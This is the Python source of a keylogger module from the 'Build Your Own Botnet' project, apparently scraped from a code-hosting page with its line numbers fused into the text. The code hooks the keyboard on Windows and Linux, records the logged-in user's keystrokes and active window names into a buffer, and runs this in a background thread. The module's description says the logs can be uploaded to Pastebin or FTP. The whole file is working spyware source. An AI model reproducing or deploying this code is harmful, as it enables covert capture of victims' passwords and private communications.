Path: blob/master/web-gui/buildyourownbotnet/modules/keylogger.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Keylogger (Build Your Own Botnet)'34# standard library5import os6import sys7import time8import threading910try:11from StringIO import StringIO # Python 212except ImportError:13from io import StringIO # Python 31415# packages16if sys.platform == 'win32':17import pyHook as hook_manager18import pythoncom19else:20import pyxhook as hook_manager2122# utilities23import util2425# globals26abort = False27command = True28packages = ['util','pyHook','pythoncom'] if os.name == 'nt' else ['util','pyxhook']29platforms = ['win32','linux2','darwin']30window = None31max_size = 400032logs = StringIO()33threads = {}34results = {}35usage = 'keylogger <run/status/stop>'36description = """37Log the keystrokes of the currently logged-in user on the38client host machine and optionally upload them to Pastebin39or an FTP server40"""4142# main43def _event(event):44global logs45global window46try:47if event.WindowName != window:48window = event.WindowName49logs.write("\n[{}]\n".format(window))50if event.Ascii > 32 and event.Ascii < 127:51logs.write(chr(event.Ascii))52elif event.Ascii == 32:53logs.write(' ')54elif event.Ascii in (10,13):55logs.write('\n')56elif event.Ascii == 8:57logs.seek(-1, 1)58logs.truncate()59else:60pass61except Exception as e:62print('{} error: {}'.format(event.__name__, str(e)))63return True6465def _run_windows():66global abort67while True:68hm = hook_manager.HookManager()69hm.KeyDown = _event70hm.HookKeyboard()71pythoncom.PumpMessages()72if abort:73break7475def _run():76global abort77while True:78hm = hook_manager.HookManager()79hm.KeyDown = _event80hm.HookKeyboard()81time.sleep(0.1)82if abort:83break8485def run():86"""87Run the keylogger8889"""90global threads91try:92if 'keylogger' not in threads or not threads['keylogger'].is_alive():93if os.name == 'nt':94threads['keylogger'] = threading.Thread(target=_run_windows, name=time.time())95else:96threads['keylogger'] = threading.Thread(target=_run, name=time.time())97return threads['keylogger']98except Exception as e:99util.log(str(e))100101102